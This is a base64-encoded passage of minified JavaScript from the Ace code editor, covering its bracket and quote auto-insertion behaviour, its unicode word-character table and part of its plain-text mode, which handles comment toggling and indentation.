GlvbihlLHQsbixyLGkpe3ZhciBzPXIuZG9jLmdldFRleHRSYW5nZShpKTtpZighaS5pc011bHRpTGluZSgpJiZzPT0ieyIpe2gobik7dmFyIG89ci5kb2MuZ2V0TGluZShpLnN0YXJ0LnJvdyksdT1vLnN1YnN0cmluZyhpLmVuZC5jb2x1bW4saS5lbmQuY29sdW1uKzEpO2lmKHU9PSJ9IilyZXR1cm4gaS5lbmQuY29sdW1uKyssaTtmLm1heWJlSW5zZXJ0ZWRCcmFja2V0cy0tfX0pLHRoaXMuYWRkKCJwYXJlbnMiLCJpbnNlcnRpb24iLGZ1bmN0aW9uKGUsdCxuLHIsaSl7aWYoaT09IigiKXtoKG4pO3ZhciBzPW4uZ2V0U2VsZWN0aW9uUmFuZ2UoKSxvPXIuZG9jLmdldFRleHRSYW5nZShzKTtpZihvIT09IiImJm4uZ2V0V3JhcEJlaGF2aW91cnNFbmFibGVkKCkpcmV0dXJuIHAocyxvLCIoIiwiKSIpO2lmKGQuaXNTYW5lSW5zZXJ0aW9uKG4scikpcmV0dXJuIGQucmVjb3JkQXV0b0luc2VydChuLHIsIikiKSx7dGV4dDoiKCkiLHNlbGVjdGlvbjpbMSwxXX19ZWxzZSBpZihpPT0iKSIpe2gobik7dmFyIHU9bi5nZXRDdXJzb3JQb3NpdGlvbigpLGE9ci5kb2MuZ2V0TGluZSh1LnJvdyksZj1hLnN1YnN0cmluZyh1LmNvbHVtbix1LmNvbHVtbisxKTtpZihmPT0iKSIpe3ZhciBsPXIuJGZpbmRPcGVuaW5nQnJhY2tldCgiKSIse2NvbHVtbjp1LmNvbHVtbisxLHJvdzp1LnJvd30pO2lmKGwhPT1udWxsJiZkLmlzQXV0b0luc2VydGVkQ2xvc2luZyh1LGEsaSkpcmV0dXJuIGQucG9wQXV0b0luc2VydGVkQ2xvc2luZygpLHt0ZXh0OiIiLHNlbGVjdGlvbjpbMSwxXX19fX0pLHRoaXMuYWRkKCJwYXJlbnMiLCJkZWxldGlvbiIsZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgcz1yLmRvYy5nZXRUZXh0UmFuZ2UoaSk7aWYoIWkuaXNNdWx0aUxpbmUoKSYmcz09IigiKXtoKG4pO3ZhciBvPXIuZG9jLmdldExpbmUoaS5zdGFydC5yb3cpLHU9by5zdWJzdHJpbmcoaS5zdGFydC5jb2x1bW4rMSxpLnN0YXJ0LmNvbHVtbisyKTtpZih1PT0iKSIpcmV0dXJuIGkuZW5kLmNvbHVtbisrLGl9fSksdGhpcy5hZGQoImJyYWNrZXRzIiwiaW5zZXJ0aW9uIixmdW5jdGlvbihlLHQsbixyLGkpe2lmKGk9PSJbIil7aChuKTt2YXIgcz1uLmdldFNlbGVjdGlvblJhbmdlKCksbz1yLmRvYy5nZXRUZXh0UmFuZ2Uocyk7aWYobyE9PSIiJiZuLmdldFdyYXBCZWhhdmlvdXJzRW5hYmxlZCgpKXJldHVybiBwKHMsbywiWyIsIl0iKTtpZihkLmlzU2FuZUluc2VydGlvbihuLHIpKXJldHVybiBkLnJlY29yZEF1dG9JbnNlcnQobixyLCJdIikse3RleHQ6IltdIixzZWxlY3Rpb246WzEsMV19fWVsc2UgaWYoaT09Il0iKXtoKG4pO3ZhciB1PW4uZ2V0Q3Vyc29yUG9zaXRpb24oKSxhPXIuZG9jLmdldExpbmUodS5yb3cpLGY9YS5zdWJzdHJpbmcodS5jb2x1bW4sdS5jb2x1bW4rMSk7aWYoZj09Il0iKXt2YXIgbD1yLiRmaW5kT3BlbmluZ0JyYWNrZXQoIl0iLHtjb2x1bW46dS5jb2x1bW4rMSxyb3c6dS5yb3d9KTtpZihsIT09bnVsbCYmZC5pc0F1dG9JbnNlcnRlZENsb3NpbmcodSxhLGkpKXJldHVybiBkLnBvcEF1dG9JbnNlcnRlZENsb3NpbmcoKSx7dGV4dDoiIixzZWxlY3Rpb246WzEsMV19fX19KSx0aGlzLmFkZCgiYnJhY2tldHMiLCJkZWxldGlvbiIsZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgcz1yLmRvYy5nZXRUZXh0UmFuZ2UoaSk7aWYoIWkuaXNNdWx0aUxpbmUoKSYmcz09IlsiKXtoKG4pO3ZhciBvPXIuZG9jLmdldExpbmUoaS5zdGFydC5yb3cpLHU9by5zdWJzdHJpbmcoaS5zdGFydC5jb2x1bW4rMSxpLnN0YXJ0LmNvbHVtbisyKTtpZih1PT0iXSIpcmV0dXJuIGkuZW5kLmNvbHVtbisrLGl9fSksdGhpcy5hZGQoInN0cmluZ19kcXVvdGVzIiwiaW5zZXJ0aW9uIixmdW5jdGlvbihlLHQsbixyLGkpe3ZhciBzPXIuJG1vZGUuJHF1b3Rlc3x8YztpZihpLmxlbmd0aD09MSYmc1tpXSl7aWYodGhpcy5saW5lQ29tbWVudFN0YXJ0JiZ0aGlzLmxpbmVDb21tZW50U3RhcnQuaW5kZXhPZihpKSE9LTEpcmV0dXJuO2gobik7dmFyIG89aSx1PW4uZ2V0U2VsZWN0aW9uUmFuZ2UoKSxhPXIuZG9jLmdldFRleHRSYW5nZSh1KTtpZihhIT09IiImJihhLmxlbmd0aCE9MXx8IXNbYV0pJiZuLmdldFdyYXBCZWhhdmlvdXJzRW5hYmxlZCgpKXJldHVybiBwKHUsYSxvLG8pO2lmKCFhKXt2YXIgZj1uLmdldEN1cnNvclBvc2l0aW9uKCksbD1yLmRvYy5nZXRMaW5lKGYucm93KSxkPWwuc3Vic3RyaW5nKGYuY29sdW1uLTEsZi5jb2x1bW4pLHY9bC5zdWJzdHJpbmcoZi5jb2x1bW4sZi5jb2x1bW4rMSksbT1yLmdldFRva2VuQXQoZi5yb3csZi5jb2x1bW4pLGc9ci5nZXRUb2tlbkF0KGYucm93LGYuY29sdW1uKzEpO2lmKGQ9PSJcXCImJm0mJi9lc2NhcGUvLnRlc3QobS50eXBlKSlyZXR1cm4gbnVsbDt2YXIgeT1tJiYvc3RyaW5nfGVzY2FwZS8udGVzdChtLnR5cGUpLGI9IWd8fC9zdHJpbmd8ZXNjYXBlLy50ZXN0KGcudHlwZSksdztpZih2PT1vKXc9eSE9PWIsdyYmL3N0cmluZ1wuZW5kLy50ZXN0KGcudHlwZSkmJih3PSExKTtlbHNle2lmKHkmJiFiKXJldHVybiBudWxsO2lmKHkmJmIpcmV0dXJuIG51bGw7dmFyIEU9ci4kbW9kZS50b2tlblJlO0UubGFzdEluZGV4PTA7dmFyIFM9RS50ZXN0KGQpO0UubGFzdEluZGV4PTA7dmFyIHg9RS50ZXN0KGQpO2lmKFN8fHgpcmV0dXJuIG51bGw7aWYodiYmIS9bXHM7LC59KVxdXFxdLy50ZXN0KHYpKXJldHVybiBudWxsO3ZhciBUPWxbZi5jb2x1bW4tMl07aWYoIShkIT1vfHxUIT1vJiYhRS50ZXN0KFQpKSlyZXR1cm4gbnVsbDt3PSEwfXJldHVybnt0ZXh0Onc/bytvOiIiLHNlbGVjdGlvbjpbMSwxXX19fX0pLHRoaXMuYWRkKCJzdHJpbmdfZHF1b3RlcyIsImRlbGV0aW9uIixmdW5jdGlvbihlLHQsbixyLGkpe3ZhciBzPXIuJG1vZGUuJHF1b3Rlc3x8YyxvPXIuZG9jLmdldFRleHRSYW5nZShpKTtpZighaS5pc011bHRpTGluZSgpJiZzLmhhc093blByb3BlcnR5KG8pKXtoKG4pO3ZhciB1PXIuZG9jLmdldExpbmUoaS5zdGFydC5yb3cpLGE9dS5zdWJzdHJpbmcoaS5zdGFydC5jb2x1bW4rMSxpLnN0YXJ0LmNvbHVtbisyKTtpZihhPT1vKXJldHVybiBpLmVuZC5jb2x1bW4rKyxpfX0pfTtkLmlzU2FuZUluc2VydGlvbj1mdW5jdGlvbihlLHQpe3ZhciBuPWUuZ2V0Q3Vyc29yUG9zaXRpb24oKSxyPW5ldyBzKHQsbi5yb3csbi5jb2x1bW4pO2lmKCF0aGlzLiRtYXRjaFRva2VuVHlwZShyLmdldEN1cnJlbnRUb2tlbigpfHwidGV4dCIsdSkpe2lmKC9bKX1cXV0vLnRlc3QoZS5zZXNzaW9uLmdldExpbmUobi5yb3cpW24uY29sdW1uXSkpcmV0dXJuITA7dmFyIGk9bmV3IHModCxuLnJvdyxuLmNvbHVtbisxKTtpZighdGhpcy4kbWF0Y2hUb2tlblR5cGUoaS5nZXRDdXJyZW50VG9rZW4oKXx8InRleHQiLHUpKXJldHVybiExfXJldHVybiByLnN0ZXBGb3J3YXJkKCksci5nZXRDdXJyZW50VG9rZW5Sb3coKSE9PW4ucm93fHx0aGlzLiRtYXRjaFRva2VuVHlwZShyLmdldEN1cnJlbnRUb2tlbigpfHwidGV4dCIsYSl9LGQuJG1hdGNoVG9rZW5UeXBlPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQuaW5kZXhPZihlLnR5cGV8fGUpPi0xfSxkLnJlY29yZEF1dG9JbnNlcnQ9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPWUuZ2V0Q3Vyc29yUG9zaXRpb24oKSxpPXQuZG9jLmdldExpbmUoci5yb3cpO3RoaXMuaXNBdXRvSW5zZXJ0ZWRDbG9zaW5nKHIsaSxmLmF1dG9JbnNlcnRlZExpbmVFbmRbMF0pfHwoZi5hdXRvSW5zZXJ0ZWRCcmFja2V0cz0wKSxmLmF1dG9JbnNlcnRlZFJvdz1yLnJvdyxmLmF1dG9JbnNlcnRlZExpbmVFbmQ9bitpLnN1YnN0cihyLmNvbHVtbiksZi5hdXRvSW5zZXJ0ZWRCcmFja2V0cysrfSxkLnJlY29yZE1heWJlSW5zZXJ0PWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1lLmdldEN1cnNvclBvc2l0aW9uKCksaT10LmRvYy5nZXRMaW5lKHIucm93KTt0aGlzLmlzTWF5YmVJbnNlcnRlZENsb3NpbmcocixpKXx8KGYubWF5YmVJbnNlcnRlZEJyYWNrZXRzPTApLGYubWF5YmVJbnNlcnRlZFJvdz1yLnJvdyxmLm1heWJlSW5zZXJ0ZWRMaW5lU3RhcnQ9aS5zdWJzdHIoMCxyLmNvbHVtbikrbixmLm1heWJlSW5zZXJ0ZWRMaW5lRW5kPWkuc3Vic3RyKHIuY29sdW1uKSxmLm1heWJlSW5zZXJ0ZWRCcmFja2V0cysrfSxkLmlzQXV0b0luc2VydGVkQ2xvc2luZz1mdW5jdGlvbihlLHQsbil7cmV0dXJuIGYuYXV0b0luc2VydGVkQnJhY2tldHM+MCYmZS5yb3c9PT1mLmF1dG9JbnNlcnRlZFJvdyYmbj09PWYuYXV0b0luc2VydGVkTGluZUVuZFswXSYmdC5zdWJzdHIoZS5jb2x1bW4pPT09Zi5hdXRvSW5zZXJ0ZWRMaW5lRW5kfSxkLmlzTWF5YmVJbnNlcnRlZENsb3Npbmc9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZi5tYXliZUluc2VydGVkQnJhY2tldHM+MCYmZS5yb3c9PT1mLm1heWJlSW5zZXJ0ZWRSb3cmJnQuc3Vic3RyKGUuY29sdW1uKT09PWYubWF5YmVJbnNlcnRlZExpbmVFbmQmJnQuc3Vic3RyKDAsZS5jb2x1bW4pPT1mLm1heWJlSW5zZXJ0ZWRMaW5lU3RhcnR9LGQucG9wQXV0b0luc2VydGVkQ2xvc2luZz1mdW5jdGlvbigpe2YuYXV0b0luc2VydGVkTGluZUVuZD1mLmF1dG9JbnNlcnRlZExpbmVFbmQuc3Vic3RyKDEpLGYuYXV0b0luc2VydGVkQnJhY2tldHMtLX0sZC5jbGVhck1heWJlSW5zZXJ0ZWRDbG9zaW5nPWZ1bmN0aW9uKCl7ZiYmKGYubWF5YmVJbnNlcnRlZEJyYWNrZXRzPTAsZi5tYXliZUluc2VydGVkUm93PS0xKX0sci5pbmhlcml0cyhkLGkpLHQuQ3N0eWxlQmVoYXZpb3VyPWR9KSxkZWZpbmUoImFjZS91bmljb2RlIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1bNDgsOSw4LDI1LDUsMCwyLDI1LDQ4LDAsMTEsMCw1LDAsNiwyMiwyLDMwLDIsNDU3LDUsMTEsMTUsNCw4LDAsMiwwLDE4LDExNiwyLDEsMywzLDksMCwyLDIsMiwwLDIsMTksMiw4MiwyLDEzOCwyLDQsMywxNTUsMTIsMzcsMywwLDgsMzgsMTAsNDQsMiwwLDIsMSwyLDEsMiwwLDksMjYsNiwyLDMwLDEwLDcsNjEsMiw5LDUsMTAxLDIsNywzLDksMiwxOCwzLDAsMTcsNTgsMywxMDAsMTUsNTMsNSwwLDYsNDUsMjExLDU3LDMsMTgsMiw1LDMsMTEsMyw5LDIsMSw3LDYsMiwyLDIsNywzLDEsMywyMSwyLDYsMiwwLDQsMywzLDgsMywxLDMsMyw5LDAsNSwxLDIsNCwzLDExLDE2LDIsMiw1LDUsMSwzLDIxLDIsNiwyLDEsMiwxLDIsMSwzLDAsMiw0LDUsMSwzLDIsNCwwLDgsMywyLDAsOCwxNSwxMiwyLDIsOCwyLDIsMiwyMSwyLDYsMiwxLDIsNCwzLDksMiwyLDIsMiwzLDAsMTYsMywzLDksMTgsMiwyLDcsMywxLDMsMjEsMiw2LDIsMSwyLDQsMyw4LDMsMSwzLDIsOSwxLDUsMSwyLDQsMyw5LDIsMCwxNywxLDIsNSw0LDIsMiwzLDQsMSwyLDAsMiwxLDQsMSw0LDIsNCwxMSw1LDQsNCwyLDIsMywzLDAsNywwLDE1LDksMTgsMiwyLDcsMiwyLDIsMjIsMiw5LDIsNCw0LDcsMiwyLDIsMyw4LDEsMiwxLDcsMywzLDksMTksMSwyLDcsMiwyLDIsMjIsMiw5LDIsNCwzLDgsMiwyLDIsMyw4LDEsOCwwLDIsMywzLDksMTksMSwyLDcsMiwyLDIsMjIsMiwxNSw0LDcsMiwyLDIsMywxMCwwLDksMywzLDksMTEsNSwzLDEsMiwxNyw0LDIzLDIsOCwyLDAsMyw2LDQsMCw1LDUsMiwwLDIsNywxOSwxLDE0LDU3LDYsMTQsMiw5LDQwLDEsMiwwLDMsMSwyLDAsMywwLDcsMywyLDYsMiwyLDIsMCwyLDAsMywxLDIsMTIsMiwyLDMsNCwyLDAsMiw1LDMsOSwzLDEsMzUsMCwyNCwxLDcsOSwxMiwwLDIsMCwyLDAsNSw5LDIsMzUsNSwxOSwyLDUsNSw3LDIsMzUsMTAsMCw1OCw3Myw3LDc3LDMsMzcsMTEsNDIsMiwwLDQsMzI4LDIsMywzLDYsMiwwLDIsMywzLDQwLDIsMywzLDMyLDIsMywzLDYsMiwwLDIsMywzLDE0LDIsNTYsMiwzLDMsNjYsNSwwLDMzLDE1LDE3LDg0LDEzLDYxOSwzLDE2LDIsMjUsNiw3NCwyMiwxMiwyLDYsMTIsMjAsMTIsMTksMTMsMTIsMiwyLDIsMSwxMyw1MSwzLDI5LDQsMCw1LDEsMyw5LDM0LDIsMyw5LDcsODcsOSw0Miw2LDY5LDExLDI4LDQsMTEsNSwxMSwxMSwzOSwzLDQsMTIsNDMsNSwyNSw3LDEwLDM4LDI3LDUsNjIsMiwyOCwzLDEwLDcsOSwxNCwwLDg5LDc1LDUsOSwxOCw4LDEzLDQyLDQsMTEsNzEsNTUsOSw5LDQsNDgsODMsMiwyLDMwLDE0LDIzMCwyMywyODAsMyw1LDMsMzcsMyw1LDMsNywyLDAsMiwwLDIsMCwyLDMwLDMsNTIsMiw2LDIsMCw0LDIsMiw2LDQsMywzLDUsNSwxMiw2LDIsMiw2LDY3LDEsMjAsMCwyOSwwLDE0LDAsMTcsNCw2MCwxMiw1LDAsNCwxMSwxOCwwLDUsMCwzLDksMiwwLDQsNCw3LDAsMiwwLDIsMCwyLDMsMiwxMCwzLDMsNiw0LDUsMCw1MywxLDI2ODQsNDYsMiw0NiwyLDEzMiw3LDYsMTUsMzcsMTEsNTMsMTAsMCwxNywyMiwxMCw2LDIsNiwyLDYsMiw2LDIsNiwyLDYsMiw2LDIsNiwyLDMxLDQ4LDAsNDcwLDEsMzYsNSwyLDQsNiwxLDUsODUsMywxLDMsMiwyLDg5LDIsMyw2LDQwLDQsOTMsMTgsMjMsNTcsMTUsNTEzLDY1ODEsNzUsMjA5MzksNTMsMTE2NCw2OCw0NSwzLDI2OCw0LDI3LDIxLDMxLDMsMTMsMTMsMSwyLDI0LDksNjksMTEsMSwzOCw4LDMsMTAyLDMsMSwxMTEsNDQsMjUsNTEsMTMsNjgsMTIsOSw3LDIzLDQsMCw1LDQ1LDMsMzUsMTMsMjgsNCw2NCwxNSwxMCwzOSw1NCwxMCwxMywzLDksNywyMiw0LDEsNSw2NiwyNSwyLDIyNyw0MiwyLDEsMyw5LDcsMTExNzEsMTMsMjIsNSw0OCw4NDUzLDMwMSwzLDYxLDMsMTA1LDM5LDYsMTMsNCw2LDExLDIsMTIsMiw0LDIsMCwyLDEsMiwxLDIsMTA3LDM0LDM2MiwxOSw2MywzLDUzLDQxLDExLDUsMTUsMTcsNiwxMywxLDI1LDIsMzMsNCwyLDEzNCwyMCw5LDgsMjUsNSwwLDIsMjUsMTIsODgsNCw1LDMsNSwzLDUsMywyXSxpPTAscz1bXTtmb3IodmFyIG89MDtvPHIubGVuZ3RoO28rPTIpcy5wdXNoKGkrPXJbb10pLHJbbysxXSYmcy5wdXNoKDQ1LGkrPXJbbysxXSk7dC53b3JkQ2hhcnM9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLHMpfSksZGVmaW5lKCJhY2UvbW9kZS90ZXh0IixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2NvbmZpZyIsImFjZS90b2tlbml6ZXIiLCJhY2UvbW9kZS90ZXh0X2hpZ2hsaWdodF9ydWxlcyIsImFjZS9tb2RlL2JlaGF2aW91ci9jc3R5bGUiLCJhY2UvdW5pY29kZSIsImFjZS9saWIvbGFuZyIsImFjZS90b2tlbl9pdGVyYXRvciIsImFjZS9yYW5nZSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi4vY29uZmlnIiksaT1lKCIuLi90b2tlbml6ZXIiKS5Ub2tlbml6ZXIscz1lKCIuL3RleHRfaGlnaGxpZ2h0X3J1bGVzIikuVGV4dEhpZ2hsaWdodFJ1bGVzLG89ZSgiLi9iZWhhdmlvdXIvY3N0eWxlIikuQ3N0eWxlQmVoYXZpb3VyLHU9ZSgiLi4vdW5pY29kZSIpLGE9ZSgiLi4vbGliL2xhbmciKSxmPWUoIi4uL3Rva2VuX2l0ZXJhdG9yIikuVG9rZW5JdGVyYXRvcixsPWUoIi4uL3JhbmdlIikuUmFuZ2UsYz1mdW5jdGlvbigpe3RoaXMuSGlnaGxpZ2h0UnVsZXM9c307KGZ1bmN0aW9uKCl7dGhpcy4kZGVmYXVsdEJlaGF2aW91cj1uZXcgbyx0aGlzLnRva2VuUmU9bmV3IFJlZ0V4cCgiXlsiK3Uud29yZENoYXJzKyJcXCRfXSsiLCJnIiksdGhpcy5ub25Ub2tlblJlPW5ldyBSZWdFeHAoIl4oPzpbXiIrdS53b3JkQ2hhcnMrIlxcJF9dfFxcc10pKyIsImciKSx0aGlzLmdldFRva2VuaXplcj1mdW5jdGlvbigpe3JldHVybiB0aGlzLiR0b2tlbml6ZXJ8fCh0aGlzLiRoaWdobGlnaHRSdWxlcz10aGlzLiRoaWdobGlnaHRSdWxlc3x8bmV3IHRoaXMuSGlnaGxpZ2h0UnVsZXModGhpcy4kaGlnaGxpZ2h0UnVsZUNvbmZpZyksdGhpcy4kdG9rZW5pemVyPW5ldyBpKHRoaXMuJGhpZ2hsaWdodFJ1bGVzLmdldFJ1bGVzKCkpKSx0aGlzLiR0b2tlbml6ZXJ9LHRoaXMubGluZUNvbW1lbnRTdGFydD0iIix0aGlzLmJsb2NrQ29tbWVudD0iIix0aGlzLnRvZ2dsZUNvbW1lbnRMaW5lcz1mdW5jdGlvbihlLHQsbixyKXtmdW5jdGlvbiB3KGUpe2Zvcih2YXIgdD1uO3Q8PXI7dCsrKWUoaS5nZXRMaW5lKHQpLHQpfXZhciBpPXQuZG9jLHM9ITAsbz0hMCx1PUluZmluaXR5LGY9dC5nZXRUYWJTaXplKCksbD0hMTtpZighdGhpcy5saW5lQ29tbWVudFN0YXJ0KXtpZighdGhpcy5ibG9ja0NvbW1lbnQpcmV0dXJuITE7dmFyIGM9dGhpcy5ibG9ja0NvbW1lbnQuc3RhcnQsaD10aGlzLmJsb2NrQ29tbWVudC5lbmQscD1uZXcgUmVnRXhwKCJeKFxccyopKD86IithLmVzY2FwZVJlZ0V4cChjKSsiKSIpLGQ9bmV3IFJlZ0V4cCgiKD86IithLmVzY2FwZVJlZ0V4cChoKSsiKVxccyokIiksdj1mdW5jdGlvbihlLHQpe2lmKGcoZSx0KSlyZXR1cm47aWYoIXN8fC9cUy8udGVzdChlKSlpLmluc2VydEluTGluZSh7cm93OnQsY29sdW1uOmUubGVuZ3RofSxoKSxpLmluc2VydEluTGluZSh7cm93OnQsY29sdW1uOnV9LGMpfSxtPWZ1bmN0aW9uKGUsdCl7dmFyIG47KG49ZS5tYXRjaChkKSkmJmkucmVtb3ZlSW5MaW5lKHQsZS5sZW5ndGgtblswXS5sZW5ndGgsZS5sZW5ndGgpLChuPWUubWF0Y2gocCkpJiZpLnJlbW92ZUluTGluZSh0LG5bMV0ubGVuZ3RoLG5bMF0ubGVuZ3RoKX0sZz1mdW5jdGlvbihlLG4pe2lmKHAudGVzdChlKSlyZXR1cm4hMDt2YXIgcj10LmdldFRva2VucyhuKTtmb3IodmFyIGk9MDtpPHIubGVuZ3RoO2krKylpZihyW2ldLnR5cGU9PT0iY29tbWVudCIpcmV0dXJuITB9fWVsc2V7aWYoQXJyYXkuaXNBcnJheSh0aGlzLmxpbmVDb21tZW50U3RhcnQpKXZhciBwPXRoaXMubGluZUNvbW1lbnRTdGFydC5tYXAoYS5lc2NhcGVSZWdFeHApLmpvaW4oInwiKSxjPXRoaXMubGluZUNvbW1lbnRTdGFydFswXTtlbHNlIHZhciBwPWEuZXNjYXBlUmVnRXhwKHRoaXMubGluZUNvbW1lbnRTdGFydCksYz10aGlzLmxpbmVDb21tZW50U3RhcnQ7cD1uZXcgUmVnRXhwKCJeKFxccyopKD86IitwKyIpID8iKSxsPXQuZ2V0VXNlU29mdFRhYnMoKTt2YXIgbT1mdW5jdGlvbihlLHQpe3ZhciBuPWUubWF0Y2gocCk7aWYoIW4pcmV0dXJuO3ZhciByPW5bMV0ubGVuZ3RoLHM9blswXS5sZW5ndGg7IWIoZSxyLHMpJiZuWzBdW3MtMV09PSIgIiYmcy0tLGkucmVtb3ZlSW5MaW5lKHQscixzKX0seT1jKyIgIix2PWZ1bmN0aW9uKGUsdCl7aWYoIXN8fC9cUy8udGVzdChlKSliKGUsdSx1KT9pLmluc2VydEluTGluZSh7cm93OnQsY29sdW1uOnV9LHkpOmkuaW5zZXJ0SW5MaW5lKHtyb3c6dCxjb2x1bW46dX0sYyl9LGc9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gcC50ZXN0KGUpfSxiPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj0wO3doaWxlKHQtLSYmZS5jaGFyQXQodCk9PSIgIilyKys7aWYociVmIT0wKXJldHVybiExO3ZhciByPTA7d2hpbGUoZS5jaGFyQXQobisrKT09IiAiKXIrKztyZXR1cm4gZj4yP3IlZiE9Zi0xOnIlZj09MH19dmFyIEU9SW5maW5pdHk7dyhmdW5jdGlvbihlLHQpe3ZhciBuPWUuc2VhcmNoKC9cUy8pO24hPT0tMT8objx1JiYodT1uKSxvJiYhZyhlLHQpJiYobz0hMSkpOkU+ZS5sZW5ndGgmJihFPWUubGVuZ3RoKX0pLHU9PUluZmluaXR5JiYodT1FLHM9ITEsbz0hMSksbCYmdSVmIT0wJiYodT1NYXRoLmZsb29yKHUvZikqZiksdyhvP206dil9LHRoaXMudG9nZ2xlQmxvY2tDb21tZW50PWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpPXRoaXMuYmxvY2tDb21tZW50O2lmKCFpKXJldHVybjshaS5zdGFydCYmaVswXSYmKGk9aVswXSk7dmFyIHM9bmV3IGYodCxyLnJvdyxyLmNvbHVtbiksbz1zLmdldEN1cnJlbnRUb2tlbigpLHU9dC5zZWxlY3Rpb24sYT10LnNlbGVjdGlvbi50b09yaWVudGVkUmFuZ2UoKSxjLGg7aWYobyYmL2NvbW1lbnQvLnRlc3Qoby50eXBlKSl7dmFyIHAsZDt3aGlsZShvJiYvY29tbWVudC8udGVzdChvLnR5cGUpKXt2YXIgdj1vLnZhbHVlLmluZGV4T2YoaS5zdGFydCk7aWYodiE9LTEpe3ZhciBtPXMuZ2V0Q3VycmVudFRva2VuUm93KCksZz1zLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpK3Y7cD1uZXcgbChtLGcsbSxnK2kuc3RhcnQubGVuZ3RoKTticmVha31vPXMuc3RlcEJhY2t3YXJkKCl9dmFyIHM9bmV3IGYodCxyLnJvdyxyLmNvbHVtbiksbz1zLmdldEN1cnJlbnRUb2tlbigpO3doaWxlKG8mJi9jb21tZW50Ly50ZXN0KG8udHlwZSkpe3ZhciB2PW8udmFsdWUuaW5kZXhPZihpLmVuZCk7aWYodiE9LTEpe3ZhciBtPXMuZ2V0Q3VycmVudFRva2VuUm93KCksZz1zLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpK3Y7ZD1uZXcgbChtLGcsbSxnK2kuZW5kLmxlbmd0aCk7YnJlYWt9bz1zLnN0ZXBGb3J3YXJkKCl9ZCYmdC5yZW1vdmUoZCkscCYmKHQucmVtb3ZlKHApLGM9cC5zdGFydC5yb3csaD0taS5zdGFydC5sZW5ndGgpfWVsc2UgaD1pLnN0YXJ0Lmxlbmd0aCxjPW4uc3RhcnQucm93LHQuaW5zZXJ0KG4uZW5kLGkuZW5kKSx0Lmluc2VydChuLnN0YXJ0LGkuc3RhcnQpO2Euc3RhcnQucm93PT1jJiYoYS5zdGFydC5jb2x1bW4rPWgpLGEuZW5kLnJvdz09YyYmKGEuZW5kLmNvbHVtbis9aCksdC5zZWxlY3Rpb24uZnJvbU9yaWVudGVkUmFuZ2UoYSl9LHRoaXMuZ2V0TmV4dExpbmVJbmRlbnQ9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0aGlzLiRnZXRJbmRlbnQodCl9LHRoaXMuY2hlY2tPdXRkZW50PWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4hMX0sdGhpcy5hdXRvT3V0ZGVudD1mdW5jdGlvbihlLHQsbil7fSx0aGlzLiRnZXRJbmRlbnQ9ZnVuY3Rpb24oZSl7cmV0dXJuIGUubWF0Y2goL15ccyovKVswXX0sdGhpcy5jcmVhdGVXb3JrZXI9ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGx9LHRoaXMuY3JlYXRlTW9kZURlbGVnYXRlcz1mdW5jdGlvbihlKXt0aGlzLiRlbWJlZHM9W10sdGhpcy4kbW9kZXM9e307Zm9yKHZhciB0IGluIGUpaWYoZVt0XSl7dmFyIG49ZVt0XSxpPW4ucHJvdG90eXBlLiRpZCxzPXIuJG1vZGVzW2ldO3N8fChyLiRtb2Rlc1tpXT1zPW5ldyBuKSxyLiRtb2Rlc1t0XXx8KHIuJG1vZGVzW3RdPXMpLHRoaXMuJGVtYmVkcy5wdXNoKHQpLHRoaXMuJG1vZGVzW3RdPXN9dmFyIG89WyJ0b2dnbGVCbG9ja0NvbW1lbnQiLCJ0b2dnbGVDb21tZW50TGluZXMiLCJnZXROZXh0TGluZUluZGVudCIsImNoZWNrT3V0ZGVudCIsImF1dG9PdXRkZW50IiwidHJhbnNmb3JtQWN0aW9uIiwiZ2V0Q29tcGxldGlvbnMiXTtmb3IodmFyIHQ9MDt0PG8ubGVuZ3RoO3QrKykoZnVuY3Rpb24oZSl7dmFyIG49b1t0XSxyPWVbbl07ZVtvW3RdXT1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRkZWxlZ2F0b3Iobixhcmd1bWVudHMscil9fSkodGhpcyl9LHRoaXMuJGRlbGVnYXRvcj1mdW5jdGlvbihlLHQsbil7dmFyIHI9dFswXXx8InN0YXJ0IjtpZih0eXBlb2YgciE9InN0cmluZyIpe2lmKEFycmF5LmlzQXJyYXkoclsyXSkpe3ZhciBpPXJbMl1bclsyXS5sZW5ndGgtMV0scz10aGlzLiRtb2Rlc1tpXTtpZihzKXJldHVybiBzW2VdLmFwcGx5KHMsW3JbMV1dLmNvbmNhdChbXS5zbGljZS5jYWxsKHQsMSkpKX1yPXJbMF18fCJzdGFydCJ9Zm9yKHZhciBvPTA7bzx0aGlzLiRlbWJlZHMubGVuZ3RoO28rKyl7aWYoIXRoaXMuJG1vZGVzW3RoaXMuJGVtYmVkc1tvXV0pY29udGludWU7dmFyIHU9ci5zcGxpdCh0aGlzLiRlbWJlZHNbb10pO2lmKCF1WzBdJiZ1WzFdKXt0WzBdPXVbMV07dmFyIHM9dGhpcy4kbW9kZXNbdGhpcy4kZW1iZWRzW29dXTtyZXR1cm4gc1tlXS5hcHBseShzLHQpfX12YXIgYT1uLmFwcGx5KHRoaXMsdCk7cmV0dXJuIG4/YTp1bmRlZmluZWR9LHRoaXMudHJhbnNmb3JtQWN0aW9uPWZ1bmN0aW9uKGUsdCxuLHIsaSl7aWYodGhpcy4kYmVoYXZpb3VyKXt2YXIgcz10aGlzLiRiZWhhdmlvdXIuZ2V0QmVoYXZpb3VycygpO2Zvcih2YXIgbyBpbiBzKWlmKHNbb11bdF0pe3ZhciB1PXNbb11bdF0uYXBwbHkodGhpcyxhcmd1bWVudHMpO